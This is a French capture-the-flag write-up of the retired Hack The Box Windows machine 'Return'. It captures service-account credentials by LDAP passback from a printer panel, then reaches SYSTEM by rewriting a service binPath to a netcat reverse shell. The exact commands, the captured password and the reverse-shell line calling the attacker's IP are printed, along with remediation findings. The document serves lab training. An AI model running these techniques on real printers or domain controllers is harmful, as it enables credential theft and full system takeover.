picsou@htb:~/writeups/easy/return$

Windows Easy

Return : passback LDAP d'une imprimante puis Server Operators

Panel d'admin imprimante dont le champ serveur LDAP renvoie les credentials svc-printer vers un listener. Privesc via l'appartenance à Server Operators (hijack du binPath d'un service).

box
Return
os
Windows
difficulté
Easy
publiée le
indices
aucun
outils
nmap netexec evil-winrm netcat
techniques
Scan de ports Capture de credentials LDAP (passback imprimante) WinRM Service mal configuré

Box retirée par Hack The Box. Write-up publié dans le respect des règles de la plateforme, flags masqués.

TL;DR

  1. Contrôleur de domaine avec un panel web d'administration d'imprimante.
  2. Le champ "serveur LDAP" du panel est modifiable : on le pointe vers notre listener, l'imprimante nous renvoie les identifiants svc-printer en clair (passback).
  3. svc-printer est dans Remote Management Users : accès user en WinRM.
  4. Le compte est aussi dans Server Operators, ce qui autorise la reconfiguration des services.
  5. On réécrit le binPath d'un service vers un reverse shell et on le redémarre : exécution en SYSTEM.

Reconnaissance

kali
nmap -p- --min-rate 5000 -oA nmap/return-full 10.129.95.241
nmap -sCV -p 53,80,88,135,139,389,445,5985 -oA nmap/return 10.129.95.241
nmap
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
88/tcp   open  kerberos-sec
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP
445/tcp  open  microsoft-ds
5985/tcp open  http          Microsoft HTTPAPI (WinRM)

DNS + Kerberos + LDAP + WinRM : c'est un contrôleur de domaine. Le port 80 sert un panel d'administration d'imprimante. Petit tour en SMB null pour récupérer le nom de l'hôte :

kali
netexec smb 10.129.95.241 -u '' -p ''

On ajoute les noms au fichier hosts :

kali
echo "10.129.95.241 return.local printer.return.local" | sudo tee -a /etc/hosts

Foothold

Passback LDAP

Le panel (http://10.129.95.241/settings.php) laisse modifier l'adresse du serveur LDAP que l'imprimante interroge. Classique du passback : si on remplace cette adresse par la nôtre, l'imprimante vient s'authentifier chez nous et nous livre les identifiants du compte de service, en clair.

On met un listener sur le port LDAP, on change l'adresse du serveur dans le panel pour notre IP tun0, puis on clique sur "Update / Test".

kali
sudo nc -lvnp 389

L'imprimante se connecte et balance le bind LDAP :

nc
return\svc-printer
1edFg43012!!

Accès user

On vérifie le compte et ses groupes avec netexec avant de se connecter :

kali
netexec smb 10.129.95.241 -u svc-printer -p '1edFg43012!!' --groups

svc-printer est membre de Remote Management Users (donc WinRM) et de Server Operators (on y reviendra pour le privesc). On se connecte :

kali
evil-winrm -i 10.129.95.241 -u svc-printer -p '1edFg43012!!'
svc-printer@return
*Evil-WinRM* PS C:\Users\svc-printer\Desktop> cat user.txt

Élévation vers SYSTEM

Server Operators : hijack du binPath

whoami /priv montre déjà SeBackup / SeRestore, mais le chemin le plus direct ici c'est l'appartenance à Server Operators. Ce groupe peut reconfigurer les services Windows, qui tournent en SYSTEM. On en détourne un : on réécrit son binPath vers un reverse shell, puis on le redémarre.

kali
whoami /priv

On dépose nc.exe dans un dossier accessible en écriture :

svc-printer@return
*Evil-WinRM* PS C:\Users\svc-printer\Documents> upload /opt/resources/windows/nc/nc.exe

On choisit un service qu'on a le droit d'arrêter/démarrer (ici VMTools, n'importe quel service contrôlable fait l'affaire), on remplace son binaire, puis on le relance :

svc-printer@return
*Evil-WinRM* PS C:\> sc.exe stop VMTools
*Evil-WinRM* PS C:\> sc.exe config VMTools binPath="C:\Users\svc-printer\Documents\nc.exe -e cmd.exe 10.10.14.84 1337"
*Evil-WinRM* PS C:\> sc.exe start VMTools

Pendant ce temps, le listener attend :

kali
sudo nc -lvnp 1337

Le service démarre le binaire en SYSTEM, le shell remonte :

SYSTEM
C:\Windows\system32> whoami
nt authority\system
C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt

Findings

#ConstatSévérité (CVSS v4)Remédiation
F1Panel imprimante : champ serveur LDAP modifiable (passback des credentials)CritiqueNe pas stocker de compte privilégié dans l'imprimante, isoler l'imprimante, interdire la modification du serveur LDAP sans réauthentification
F2Compte de service svc-printer à mot de passe faible, membre de Server OperatorsÉlevéeMot de passe robuste, retirer le compte de service des groupes privilégiés
F3Server Operators peut reconfigurer des services (binPath hijack vers SYSTEM)CritiqueRestreindre l'appartenance à Server Operators, surveiller les modifications de services

Leçons apprises

  • Un champ "serveur LDAP / annuaire" modifiable sur un équipement (imprimante, NAS, MFP) est un passback en puissance : pointe-le vers toi et écoute, le compte de service arrive en clair.
  • Les octets bizarres en tête de la capture LDAP sont de l'ASN.1/BER, pas des caractères du mot de passe. Ne pas se faire piéger en les recopiant.
  • Appartenance à Server Operators = privesc quasi garanti sur un DC : reconfiguration de service, binPath vers un payload, redémarrage, SYSTEM. C'est le vecteur de premier passage à tester avant d'aller fouiller SeBackup/NTDS.
  • Le service détourné n'est pas un vrai service : il sera tué au timeout, il faut récupérer le shell rapidement et nettoyer le binPath ensuite.

Références